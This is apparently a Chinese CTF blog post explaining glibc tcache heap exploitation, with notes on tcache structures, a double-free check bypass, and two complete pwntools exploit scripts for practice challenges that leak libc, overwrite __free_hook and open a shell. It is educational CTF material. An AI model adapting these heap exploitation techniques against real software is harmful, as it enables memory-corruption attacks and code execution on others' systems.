# Tcache

Tcache 是 glibc 2.26 之后引入的机制,与 glibc 2.23 版本下堆利用方式有一定区别,产生了新的利用方式。


# 0x1 相关结构体

# tcache_entry

1
2
3
4
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

tcache_entry 用来链接空闲的 tcache chunk,其中的 next 指针指向下一个大小相同的空闲 tcache chunk。

注意:这里的 next 指针指向的是 user data 部分,也就是说指向的是 chunk head+0x10 地址处

而 fastbin 则指向的是 chunk head


# tcache_perthread_struct

tcache_perthread_struct 是 tcache 的管理结构,他:

  • 收藏了所有的 tcache_entry
  • 记录了空闲 tcache 个数,也就是 tcache_entry 的个数

这个管理结构会在第一次调用 malloc 时,先 malloc 一块内存用来存放 tcache_perthread_struct 。因此做 glibc >=2.26 的题时,gdb 调试的时候第一个堆块即为 tcache_perthread_struct


# 0x2 基本知识点

  • free 的堆块,当内存小于 small bin size 时 (0x400),会被优先置入 tcache bin 链表,当填满七个后,才会填入 fastbin/unsortedbin 链表
  • malloc 时,优先从 tcache bin 中寻找是否有合适大小的 bin。

# 0x3 常见利用方式

tcache poisoning

tcache dup

tcache perthread corruption

tcache house of spirit

tcache stashing unlink attack

等。

具体利用方式,不再赘述。可以去 CTF-wiki 上看看。

CTF-wiki-tcache


# 0x4 个人总结

学习完 CTF-wiki 上对于 tcache bin 的利用方式后,我个人在做题中也遇到一些林林总总的问题,也 get 到了一些知识点。

# 4.1 tcache double free 机制绕过

# 4.1.1 补充知识点

tcache 为空时,如果 fastbin/smallbin/unsorted bin 中有 size 符合的 chunk,会先把 fastbin/smallbin/unsorted bin 中的 chunk 放到 tcache 中,直到填满。之后再从 tcache 中取。


# 绕过方式

在 glibc 较低版本下,我们可以直接利用 tcache dup ,free 掉一个相同的 tcache 堆块两次。比 fastbin double free 要好用得多。

经过我 patchelf 之后发现, libc2.27-3ubuntu1 及之前均可直接使用 tcache dup ,当版本大于等于 libc2.27-3ubuntu1_ 后不可直接 double free。

原因是加入了对 tcache bin double free 的检测,至于检测的源代码我就不贴了,感兴趣的可以上 CTF-wiki 上看。

讲讲绕过的办法:

可以通过 fastbin double free 触发 stash,构造 tcache 任意地址写

具体流程:

  • 先 free 掉多个相同大小堆块 (size <=0x80),填满 tcache bin 链表
  • 继续 free 掉相同大小的堆块,进入 fastbin,构造 fastbin double free
  • 将 tcache bin 链表中的 chunk 全部 malloc 回来
  • 再 malloc 一次,即可触发 stash,构造任意地址写

步骤一二之后,我们的空闲堆块链表结构应该是这样的:(画的有点丑)

2

然后经过步骤三之后,tcache 链表清空,再 malloc 时,会从先从 tcache bin 链表中寻找,发现并没有合适大小的堆块,然后到 fastbin 链表中找到合适大小的堆块,将 fastbin 链表中的所有堆块放进 tcache 中:

2

然后取走 p1,malloc 时伪造 fastbin p1 的 fd 指针,可以达到任意地址写的目的:

# 4.2 tcache bin 的一些特性

# 特性一

calloc 时不会去 tcache bin 中寻找。

# 例题 gyctf_2020_signin

这道题主要利用了两个知识点:

  • 在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。(前面补充的知识点)
  • calloc 不会分配 tcache 空闲链表中的堆块。

直接贴我的 exp 了,有兴趣的可以去 BUU 上做做:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# r = process('/mnt/hgfs/ubuntu/BUUCTF/gyctf_2020_signin')
r = remote('node4.buuoj.cn',28190)

def new(index):
r.recvuntil(b"your choice?")
r.sendline(b'1')
r.recvuntil(b"idx?")
r.sendline(str(index))

def delete(index):
r.recvuntil(b"your choice?")
r.sendline(b'3')
r.recvuntil(b"idx?")
r.sendline(str(index))

def edit(index,content):
r.recvuntil(b"your choice?")
r.sendline(b'2')
r.recvuntil(b"idx?")
r.sendline(str(index))
r.sendline(content)

def shell():
r.recvuntil(b"your choice?")
r.sendline(b'6')

ptr_addr = 0x4040c0
for i in range(8):
new(i)
for j in range(8):
delete(j)
new(8)
edit(7,p64(ptr_addr-0x10))

shell()
# gdb.attach(r)
r.interactive()


# 特性二

tcache 中的 chunk 不会合并

Ptmalloc2 中,为了整理内存碎片,通常会进行 unlink 操作,但在 tcache 中,chunk 之间不会合并。

# 例题 hitcon_2018_children_tcache

做这道题之前我还不知道 tcache 之中的 chunk 不会合并,于是将堆结构 构造成这样之后:

1

我就很纳闷为什么 free 掉 chunk2 不会触发 unlink 合并 chunk1。

后来查资料知道了 tcache 中的 chunk 不会合并。

那就只好合并两个 unsorted bin 了。

这道题有几个注意事项:

  • 注意 free 之后 malloc 回来的堆块的 index,容易搞错。
  • 有 OFF BY NULL 漏洞,但是因为 free 堆块时会用 memset 干扰,所以只能多次利用 OFF BY NULL 将 pre_size 写对。
  • 主要使用夹心饼攻击,用两个 unsorted bin 夹一个较小的 chunk,构造 chunk overlapping

我的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# r = process('/mnt/hgfs/ubuntu/BUUCTF/HITCON_2018_children_tcache')
r = remote('node4.buuoj.cn',27042)
libc = ELF('/mnt/hgfs/ubuntu/BUUCTF/libc-2.27.so')

def new(size,content):
r.recvuntil(b"Your choice: ")
r.sendline(b'1')
r.recvuntil(b"Size:")
r.sendline(str(size))
r.recvuntil(b"Data:")
r.sendline(content)

def delete(index):
r.recvuntil(b"Your choice: ")
r.sendline(b'3')
r.recvuntil(b"Index:")
r.sendline(str(index))

def show(index):
r.recvuntil(b"Your choice: ")
r.sendline(b'2')
r.recvuntil(b"Index:")
r.sendline(str(index))

new(0x410,b'a')#0
new(0x28,b'b')#1
new(0x4f0,b'c')#2
new(0x10,b'd')#3
delete(1)
delete(0)
for i in range(6):
new(0x28-i,b'a'*(0x28-i))
delete(0)#trick
new(0x22,b'a'*0x20+b'\x50\x04')#0
delete(2)
new(0x410,b'e')#1
show(0)
libc_base = u64(r.recv(6).ljust(8,b'\0'))-libc.symbols["__malloc_hook"]-0x10-96
log.success("libc_base: "+hex(libc_base))
new(0x20,b'a')#0#2
delete(0)
delete(2)
free_hook = libc.symbols["__free_hook"]+libc_base
new(0x20,p64(free_hook))
new(0x20,b'a')
one_gadget = libc_base+0x4f322
new(0x20,p64(one_gadget))
delete(3)
# gdb.attach(r)
r.interactive()

# 4.3 打 tcache_perthread_struct 结构体

tcache_perthread_struct 结构体里有着

①Tcache 的 next 指针

②空闲堆块数。

控制该结构体即可:

  • malloc 到任意地址
  • 改变空闲堆块数,free 可得到 unsortedbin

# 4.4 tcache bin 下标

具体可参照 glibc 源码,是将 Tcache bin 下标看作无符号整数的。

因此我们可以构造出 circle list 后,add 三次,此时 tcache bin 下标变为负数。

DN11U(IOUKUZ2K{Q4}UAJ~T

此时由于下标是无符号整数,转换过来会得到一个很大的数,自然大于 7,因此此时再 free 堆块即可进入 unsortedbin 范围。

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝